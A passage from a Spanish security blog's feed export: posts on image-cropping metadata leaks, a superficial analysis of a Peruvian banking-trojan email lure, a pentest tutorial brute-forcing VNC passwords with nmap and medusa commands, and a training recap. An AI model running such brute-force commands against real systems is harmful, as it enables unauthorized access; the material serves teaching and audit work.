/&gt;&lt;br /&gt;A continuación muestro las imágenes vista desde Microsoft Word y desde Open Office.&lt;br /&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-bcrN8s3Kk_I/TZyIqvi6p_I/AAAAAAAAALk/9fRY_M_Gpxk/s1600/1.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="288" src="http://4.bp.blogspot.com/-bcrN8s3Kk_I/TZyIqvi6p_I/AAAAAAAAALk/9fRY_M_Gpxk/s320/1.jpg" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Imagen como se ve en MS Word, la que fue recortada en la misma aplicación.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-6Kto8OGZnUw/TZyJTmJUeqI/AAAAAAAAALo/lf7VJdXCx9A/s1600/2.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="250" src="http://1.bp.blogspot.com/-6Kto8OGZnUw/TZyJTmJUeqI/AAAAAAAAALo/lf7VJdXCx9A/s400/2.jpg" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Como se ve en OpenOffice&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;Comparto esta información para los fines pertinentes!&lt;br /&gt;&lt;br /&gt;Usen herramientas de dibujo cuando deseen manipular imágenes y pegarlas en documentos si es que no quieren que alguien vea más alla de lo evidente.&lt;br /&gt;&lt;ul&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1142420473059173802-5364687376039590790?l=ehopen-sec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ehopen-sec.blogspot.com/feeds/5364687376039590790/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ehopen-sec.blogspot.com/2011/04/lo-que-cortas-no-siempre-se-corta.html#comment-form' title='7 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/5364687376039590790'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/5364687376039590790'/><link rel='alternate' type='text/html' href='http://ehopen-sec.blogspot.com/2011/04/lo-que-cortas-no-siempre-se-corta.html' title='Lo que CORTAS no siempre se CORTA'/><author><name>Open-Sec</name><uri>http://www.blogger.com/profile/12321871096900747631</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://3.bp.blogspot.com/_IhM_rPvn0ac/S3lr4XtO6HI/AAAAAAAAAFI/ga7qLaDmumY/S220/Imagen2009.jpeg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-bcrN8s3Kk_I/TZyIqvi6p_I/AAAAAAAAALk/9fRY_M_Gpxk/s72-c/1.jpg' height='72' width='72'/><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1142420473059173802.post-3241121830589565375</id><published>2011-02-05T21:10:00.006-05:00</published><updated>2011-03-18T11:33:26.009-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Pharming Peru'/><category scheme='http://www.blogger.com/atom/ns#' term='Analisis de Malware'/><category scheme='http://www.blogger.com/atom/ns#' term='Malware Peru'/><category scheme='http://www.blogger.com/atom/ns#' term='Troyano Bancario'/><title type='text'>Troyanos Bancarios en Peru I : Operacion Bambi ?</title><content type='html'>Hola.&lt;br /&gt;&lt;br /&gt;Hace unos dias recibi un correo electronico, como ustedes tambien seguramente suelen recibir, con la tipica postal de amor adjuntada a un mensaje cursi sobre un diseño visiblemente falso. Normalmente desecho estos correos pero ahora que dispongo de algo de tiempo me propuse hacerle un simple analisis para descubrir algo sobre su funcionamiento, sus creadores o lo que sea que pueda averiguar. Debo admitir que es algo que quiero hacer hace tiempo. El area de analisis de malware es realmente bastante interesante y puede llegar a ser muy compleja al jugar con debuggers y el binario. Sin embargo, dada mi calidad de newbie en este tema, este analisis sera algo mas superficial. Para hacerlo mas interesante, separare este post en partes.&lt;br /&gt;&lt;br /&gt;Ok, veamos el correo.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_IhM_rPvn0ac/TU4CcuSpFJI/AAAAAAAAALg/w6CfT_fmTu8/s1600/postal.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="176" src="http://3.bp.blogspot.com/_IhM_rPvn0ac/TU4CcuSpFJI/AAAAAAAAALg/w6CfT_fmTu8/s320/postal.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Al ver el codigo del correo puedo visualizar que todo esta armado alrededor de una imagen hosteada en &lt;b&gt;http://i55.tinypic.com/yyyy.jpg&lt;/b&gt;. Una imagen jpg, tal vez le pueda sacar algo de metadata con la siempre funcional &lt;a href="http://www.informatica64.com/foca/"&gt;Foca&lt;/a&gt;. Luego de ir al servicio online de la herramienta obtengo el siguiente resultado:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_IhM_rPvn0ac/TU39aIWBX8I/AAAAAAAAAK4/gGpoMOGiL5Y/s1600/lafoca.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://1.bp.blogspot.com/_IhM_rPvn0ac/TU39aIWBX8I/AAAAAAAAAK4/gGpoMOGiL5Y/s320/lafoca.png" width="319" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Interesante, segun la Foca la imagen fue creada con Photoshop. Ahora para ser delincuente hay que saber de todo, hasta de diseño ! Otro dato interesante es la ultima fecha de modificación: el 26 de Octubre del 2010 a las 21:05 horas lo que nos brinda información sobre cuando empezó la campaña. Seguimos.&lt;br /&gt;&lt;br /&gt;El link que descarga la "postal" apunta a &lt;b&gt;http://xxx.com/Gusanito/Amor/Postal-Amor&lt;/b&gt;. Si ingresamos con el navegador, al instante vemos un pop up preguntando si deseas descargar el binario "Postal.exe". Hacer esto con un navegador no nos brinda la informacion que realmente queremos ver.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_IhM_rPvn0ac/TU3925ndBAI/AAAAAAAAALM/TcLV87NUXWI/s1600/browser.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="237" src="http://2.bp.blogspot.com/_IhM_rPvn0ac/TU3925ndBAI/AAAAAAAAALM/TcLV87NUXWI/s320/browser.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Utilizaremos &lt;a href="http://es.wikipedia.org/wiki/Netcat"&gt;netcat&lt;/a&gt; para ver mas alla de lo evidente y ver la respuesta del servidor Web cuando hagamos el requerimiento a este recurso a traves de HTTP.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_IhM_rPvn0ac/TU3-f1Lf-4I/AAAAAAAAALQ/aX-ojgXRxpQ/s1600/nc_vuln12.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="201" src="http://2.bp.blogspot.com/_IhM_rPvn0ac/TU3-f1Lf-4I/AAAAAAAAALQ/aX-ojgXRxpQ/s400/nc_vuln12.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;El servidor responde con el codigo HTTP 302 que es una redireccion. En la cabecera Location: podemos ver el nuevo destino: &lt;b&gt;http://yyy.com/mjimenez/&lt;/b&gt;config.php . El malware no esta hosteado en &lt;b&gt;www.xxx.com&lt;/b&gt;, tan solo es utilizado como un puente para llegar a él. Me pregunto porque el atacante lo ideo de esta manera, tal vez intenta implementar algo de seguridad para protegerse ? . Luego de las cabeceras HTTP se puede ver un Warning en un script php que ademas nos brinda una ruta del servidor (Path Disclosure). Por un momento pense que estaba viendo un error originado en un servidor del atacante e incluso que ya habia descubierto su nombre.&lt;br /&gt;&lt;br /&gt;La emocion duro poco. Luego de analizar la respuesta concluyo que el atacante ademas de forzar una redireccion desde &lt;b&gt;http://xxx.com/Gusanito/Amor/Postal-Amor&lt;/b&gt; llama a  un script hosteado tambien en el servidor comprometido : &lt;b&gt;www.xxx.com/contador.php&lt;/b&gt; (que contiene un error al utilizar la funcion preg_match() y por eso el warning ).  Infiriendo por el nombre, asumo que es usado para determinar cuantas personas ya han bajado su malware y llevar algo de estadistica de esta campaña de ataque.&lt;br /&gt;&lt;br /&gt;Vamos por el siguiente recurso &lt;b&gt;http://yyy.com/mjimenez/config.php&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_IhM_rPvn0ac/TU4AKnJve7I/AAAAAAAAALU/CB5ndUpYUNk/s1600/nc22.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="232" src="http://4.bp.blogspot.com/_IhM_rPvn0ac/TU4AKnJve7I/AAAAAAAAALU/CB5ndUpYUNk/s400/nc22.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Ok, el servidor responde con la cabecera &lt;a href="http://www.ietf.org/rfc/rfc2183.txt"&gt;Content-Disposition&lt;/a&gt;. Esta cabecera no me es familiar, estoy mas acostumbado a ver tan sólo Content-type en las respuestas. Luego de preguntarle a san Google descubro que cuando la cabecera Content-Disposition tiene como valor attachment, se fuerza al navegador a descargarse un fichero del servidor web, en este caso, el binario Postal.exe que espera ser ejecutado para infectar al usuario.&lt;br /&gt;&lt;br /&gt;Al enviar el requerimiento por HTTP y ver el dump del binario en texto encuentro cosas interesantes (ver siguiente imagen). Primero observo una ruta de una instalación de Microsoft Visual Studio lo que nos da una luz sobre cómo fue creado este binario. Pero lo que mas llama mi atencion es lo que parece ser la ruta del directorio donde el atacante estaba programando el malware. Viendo la extension del archivo casa.vbp confirmamos el uso de Visual Studio ademas podemos afirmar que se trata de un projecto de Visual Basic. Lo intrigante es el porque del nombre de directorio "bambi". Será que el creador tiene una fascinación con el pequeño ciervo de cola blanca o es simplemente un nombre aleatorio? . De cualquier forma, este ataque ahora sera conocido como La Operacion Bambi.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_IhM_rPvn0ac/TU4A2R0lUKI/AAAAAAAAALY/KtqO9udggDE/s1600/bambi.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="246" src="http://2.bp.blogspot.com/_IhM_rPvn0ac/TU4A2R0lUKI/AAAAAAAAALY/KtqO9udggDE/s400/bambi.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Hasta este punto tenemos conocimiento de 2 servidores vulnerados como parte de esta campaña que pertenecen a empresas que brindan servicios hosting. El primero &lt;b&gt;www.xxx.com&lt;/b&gt; hostea el recurso &lt;b&gt;Gusanito/Amor/Postal-Amor&lt;/b&gt; que al momento de ser requerido hace una redirección hacia el recurso &lt;b&gt;/mjimenez/config.php&lt;/b&gt; del segundo servidor &lt;b&gt;http://yyy.com&lt;/b&gt; donde finalmente se fuerza al navegador a descargar el fichero Postal.exe.&lt;br /&gt;&lt;br /&gt;Luego de descargar el binario, aprovecho la genial herramienta online &lt;a href="http://www.virustotal.com/"&gt;Virustotal&lt;/a&gt; para hacerle un análisis. Según sus resultados tan sólo 5 antivirus de 43 (11.6%) reconocen a Postal.exe como un malware variante de Kanzi. Pueden ver el reporte de Virustotal &lt;a href="http://www.virustotal.com/file-scan/report.html?id=0e8acddba1cd34bf4f0512a2f102708552fc7cffd465a565a72ed884c61c60f5-1296256234"&gt;aqui&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_IhM_rPvn0ac/TU4BBeNVR0I/AAAAAAAAALc/4sN96z9bJdU/s1600/virusTotal_280111.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="168" src="http://4.bp.blogspot.com/_IhM_rPvn0ac/TU4BBeNVR0I/AAAAAAAAALc/4sN96z9bJdU/s640/virusTotal_280111.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Eso es todo por ahora, atentos a la proxima parte.&lt;br /&gt;&lt;br /&gt;Saludos&lt;br /&gt;&lt;br /&gt;MVelazco.&lt;br /&gt;http://twitter.com/mvelazco&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1142420473059173802-3241121830589565375?l=ehopen-sec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ehopen-sec.blogspot.com/feeds/3241121830589565375/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ehopen-sec.blogspot.com/2011/02/troyanos-bancarios-en-peru-i-operacion.html#comment-form' title='5 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/3241121830589565375'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/3241121830589565375'/><link rel='alternate' type='text/html' href='http://ehopen-sec.blogspot.com/2011/02/troyanos-bancarios-en-peru-i-operacion.html' title='Troyanos Bancarios en Peru I : Operacion Bambi ?'/><author><name>Open-Sec</name><uri>http://www.blogger.com/profile/12321871096900747631</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://3.bp.blogspot.com/_IhM_rPvn0ac/S3lr4XtO6HI/AAAAAAAAAFI/ga7qLaDmumY/S220/Imagen2009.jpeg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_IhM_rPvn0ac/TU4CcuSpFJI/AAAAAAAAALg/w6CfT_fmTu8/s72-c/postal.png' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1142420473059173802.post-6797937562544023359</id><published>2011-01-28T20:24:00.009-05:00</published><updated>2011-01-29T20:18:30.931-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Brute Force'/><category scheme='http://www.blogger.com/atom/ns#' term='VNC'/><category scheme='http://www.blogger.com/atom/ns#' term='Password Cracking'/><category scheme='http://www.blogger.com/atom/ns#' term='Medusa'/><category scheme='http://www.blogger.com/atom/ns#' term='Nmap'/><title type='text'>Auditoria de passwords : Brute Forcing VNC</title><content type='html'>Hola.&lt;br /&gt;&lt;br /&gt;Queria empezar el primer articulo de este año compartiendo con ustedes un escenario real en los servicios que realizamos. Hace unas semanas me encontraba en la ultima (y mas interesante) etapa de un proyecto de Ethical Hacking: la explotacion o comprobacion de vulnerabilidades.&lt;br /&gt;&lt;br /&gt;Los resultados fueron los esperados: control de varios equipos sensibles tanto externa como internamente, nuevo conocimiento adquirido en el ambito tecnico asi como en la gestion de un proyecto y ademas una carpeta llena de archivos de evidencia esperando ser plasmados en la siguiente etapa : la elaboracion de entregables que tanto le gusta a los consultores de Open-Sec.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Nota: Toda informacion relevante presentada (rangos ip, passwords, numero de hosts, capturas, etc, etc) ha sido modificada para guardar la confidencialidad respectiva.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Revisando los resultados de Nmap veo que muchas de las estaciones de trabajo cuentan con el puerto 5900 abierto. Como saben, este es uno de los puertos por defecto que utiliza el protocolo &lt;a href="http://en.wikipedia.org/wiki/RFB_protocol"&gt;RFB&lt;/a&gt;. RFB es utilizado por las distinas implementaciones del sistema &lt;a href="http://en.wikipedia.org/wiki/Virtual_Network_Computing"&gt;VNC&lt;/a&gt; (Virtual Network Computing) que permiten la administracion grafica y remota de un equipo. Pero, estaciones de trabajo con VNC ? Esto es algo que ya he visto en otras organizaciones, es una solucion normalmente utilizada para que el personal de soporte pueda gestionar los problemas de los usuarios remotamente.&lt;br /&gt;&lt;br /&gt;Los que han utilizado VNC antes sabran que en instalaciones &lt;b&gt;por defecto&lt;/b&gt; lo unico que se configura en el servidor para la autenticacion es un password. En el caso de &lt;a href="http://www.realvnc.com/"&gt;RealVNC&lt;/a&gt;, por ejemplo, es necesario obtener una versión de pago para contar con la funcionalidad de autenticacion nativa. &lt;a href="http://www.tightvnc.com/"&gt;TightVNC&lt;/a&gt;, no cuenta con esa funcionalidad mientras que en &lt;a href="http://www.uvnc.com/"&gt;UltraVNC&lt;/a&gt; si es posible asociar la autenticación nativa o incluso al dominio (pero por defecto es solo un password).&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_IhM_rPvn0ac/TUNmwXHnwdI/AAAAAAAAAKU/HcJrcwiKbzk/s1600/realvnc.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="277" src="http://4.bp.blogspot.com/_IhM_rPvn0ac/TUNmwXHnwdI/AAAAAAAAAKU/HcJrcwiKbzk/s320/realvnc.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Teniendo en cuenta que estoy enfrentado a una red corporativa con mas de 500 nodos será posible que cada una de las instalaciones VNC tenga un password distinto ? O los administradores eligieron un único password para el control de &lt;b&gt;todos&lt;/b&gt;, o la mayoria, de los equipos  ?&lt;br /&gt;&lt;br /&gt;Vamos a comprobar esta hipotesis. Primero utilizamos el siempre util nmap para determinar el subconjunto de equipos que cuentan con el servicio VNC activo en uno de los segmentos de red.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"&gt;&lt;code style="color: black; word-wrap: normal;"&gt; nmap -p 5900 -oG vnc_servers 10.0.0.0/24  &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Nmap nos permite crear 3 tipos de reportes. Utilizo el parametro -oG para crear el reporte, como nmap le llama, "grepeable" que puede ser tratado de manera eficiente con el comando grep que es lo que haremos. De esta forma, sera mas facil crear una lista de equipos.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_IhM_rPvn0ac/TUNneexW9iI/AAAAAAAAAKY/NXDL0bIovr8/s1600/cat_vnc_servers.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="245" src="http://3.bp.blogspot.com/_IhM_rPvn0ac/TUNneexW9iI/AAAAAAAAAKY/NXDL0bIovr8/s400/cat_vnc_servers.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Ahora jugamos un poco con grep y cut.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"&gt;&lt;code style="color: black; word-wrap: normal;"&gt; cat vnc_servers | grep open | cut -d" " -f2  &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Lista de servidores VNC creada. Lo siguiente es crear un diccionario customizado para la organizacion, pueden utilizar una herramienta como &lt;a href="http://www.randomstorm.com/rsmangler-security-tool.php"&gt;rsmangler&lt;/a&gt; que permite crear un diccionario recibiendo algunos parametros que utiliza como semilla para el resultado.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_IhM_rPvn0ac/TUNn5R02eyI/AAAAAAAAAKc/xK6iYOuxZ-4/s1600/cat_vnc_hosts.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="261" src="http://4.bp.blogspot.com/_IhM_rPvn0ac/TUNn5R02eyI/AAAAAAAAAKc/xK6iYOuxZ-4/s400/cat_vnc_hosts.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;La herramienta a utilizar para la auditoria de passwords en este caso sera &lt;a href="http://www.foofus.net/~jmk/medusa/medusa.html"&gt;medusa&lt;/a&gt; que tiene un modulo para la autenticacion VNC. Otra opcion es &lt;a href="http://freeworld.thc.org/thc-hydra/"&gt;hydra&lt;/a&gt; que tambien soporta conexiones hacia VNC. Ahora a correr medusa y esperar los resultados :&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"&gt;&lt;code style="color: black; word-wrap: normal;"&gt; medusa -H vnc_hosts -u "" -P dict.txt -M vnc -r 5 -T 1 -t 1  &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_IhM_rPvn0ac/TUNoqA7_3iI/AAAAAAAAAKg/cpsPp-pvzxw/s1600/medusa.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="260" src="http://3.bp.blogspot.com/_IhM_rPvn0ac/TUNoqA7_3iI/AAAAAAAAAKg/cpsPp-pvzxw/s400/medusa.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Si enviamos el output a un archivo y luego "grepeamos" veremos el resultado final.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_IhM_rPvn0ac/TUNo34eBd1I/AAAAAAAAAKk/nb7hk-h9glo/s1600/cat_results.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="262" src="http://1.bp.blogspot.com/_IhM_rPvn0ac/TUNo34eBd1I/AAAAAAAAAKk/nb7hk-h9glo/s400/cat_results.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Interesante resultado. Para comprobarlo, pueden utilizar cualquier cliente VNC, en mi caso xtightvncviewer&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_IhM_rPvn0ac/TUNpWGQ1NQI/AAAAAAAAAKo/1rkqexXw5yU/s1600/xtighvncviewer.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="148" src="http://3.bp.blogspot.com/_IhM_rPvn0ac/TUNpWGQ1NQI/AAAAAAAAAKo/1rkqexXw5yU/s400/xtighvncviewer.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_IhM_rPvn0ac/TUNpej0xQlI/AAAAAAAAAKs/l7R4gSddloo/s1600/vnc_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="260" src="http://2.bp.blogspot.com/_IhM_rPvn0ac/TUNpej0xQlI/AAAAAAAAAKs/l7R4gSddloo/s400/vnc_2.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Eso fue todo, &amp;nbsp;espero que haya sido de interes para alguien. Seria interesante ver comentarios, quejas, consultas, divagaciones.&lt;br /&gt;&lt;br /&gt;Happy Hacking,&lt;br /&gt;&lt;br /&gt;Mauricio Velazco&lt;br /&gt;http://twitter.com/mvelazco&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1142420473059173802-6797937562544023359?l=ehopen-sec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ehopen-sec.blogspot.com/feeds/6797937562544023359/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ehopen-sec.blogspot.com/2011/01/auditoria-de-passwords-brute-forcing.html#comment-form' title='11 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/6797937562544023359'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/6797937562544023359'/><link rel='alternate' type='text/html' href='http://ehopen-sec.blogspot.com/2011/01/auditoria-de-passwords-brute-forcing.html' title='Auditoria de passwords : Brute Forcing VNC'/><author><name>Open-Sec</name><uri>http://www.blogger.com/profile/12321871096900747631</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://3.bp.blogspot.com/_IhM_rPvn0ac/S3lr4XtO6HI/AAAAAAAAAFI/ga7qLaDmumY/S220/Imagen2009.jpeg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_IhM_rPvn0ac/TUNmwXHnwdI/AAAAAAAAAKU/HcJrcwiKbzk/s72-c/realvnc.png' height='72' width='72'/><thr:total>11</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1142420473059173802.post-5694380835561283805</id><published>2010-12-10T00:19:00.002-05:00</published><updated>2011-02-18T10:48:34.402-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad Informatica'/><category scheme='http://www.blogger.com/atom/ns#' term='Training'/><category scheme='http://www.blogger.com/atom/ns#' term='OSEH'/><category scheme='http://www.blogger.com/atom/ns#' term='Honduras'/><title type='text'>OSEH @ HONDURAS</title><content type='html'>Excelentes personas, mucho buen nivel y una ciudad super agradable como lo es San Pedro de Sula.&lt;br /&gt;&lt;br /&gt;Una excelente organización en manos de la Ing. Tania Pineda y el Dr. Daniel Bueso (lo pongo en segundo lugar no sólo por aquello de las damas primero sino porque es el esposo y ya sabemos que ellas son primero).&lt;br /&gt;Ellos dirigen la Escuela Internacional de Negocios de Honduras.&lt;br /&gt;&lt;br /&gt;Durante 3 días del mes de Noviembre tuvimos mucho aprendizaje de técnicas de hacking y al final conseguimos 6 nuevos OSEH.&lt;br /&gt;&lt;br /&gt;Definitivamente, los retos son la mejor forma de medir el avance de los participantes a lo largo del entrenamiento.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_IhM_rPvn0ac/TQG4OKg6I4I/AAAAAAAAAKM/xYNMazMN0Cs/s1600/ctf-atacame.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="122" src="http://3.bp.blogspot.com/_IhM_rPvn0ac/TQG4OKg6I4I/AAAAAAAAAKM/xYNMazMN0Cs/s320/ctf-atacame.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Las imágenes a continuación muestran unos momentos de estos retos donde el equipo AspidaIgnis ganó el primer lugar.&amp;nbsp; Felicitaciones!&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_IhM_rPvn0ac/TQG2avcilzI/AAAAAAAAAKE/qQT2JuxyvkI/s1600/DSC00405.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="180" src="http://1.bp.blogspot.com/_IhM_rPvn0ac/TQG2avcilzI/AAAAAAAAAKE/qQT2JuxyvkI/s320/DSC00405.JPG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_IhM_rPvn0ac/TQG2oDxcSvI/AAAAAAAAAKI/3fTVV3gAglA/s1600/DSC00407.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="180" src="http://3.bp.blogspot.com/_IhM_rPvn0ac/TQG2oDxcSvI/AAAAAAAAAKI/3fTVV3gAglA/s320/DSC00407.JPG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Tenemos planes de volver en el 2011 y otros países más en 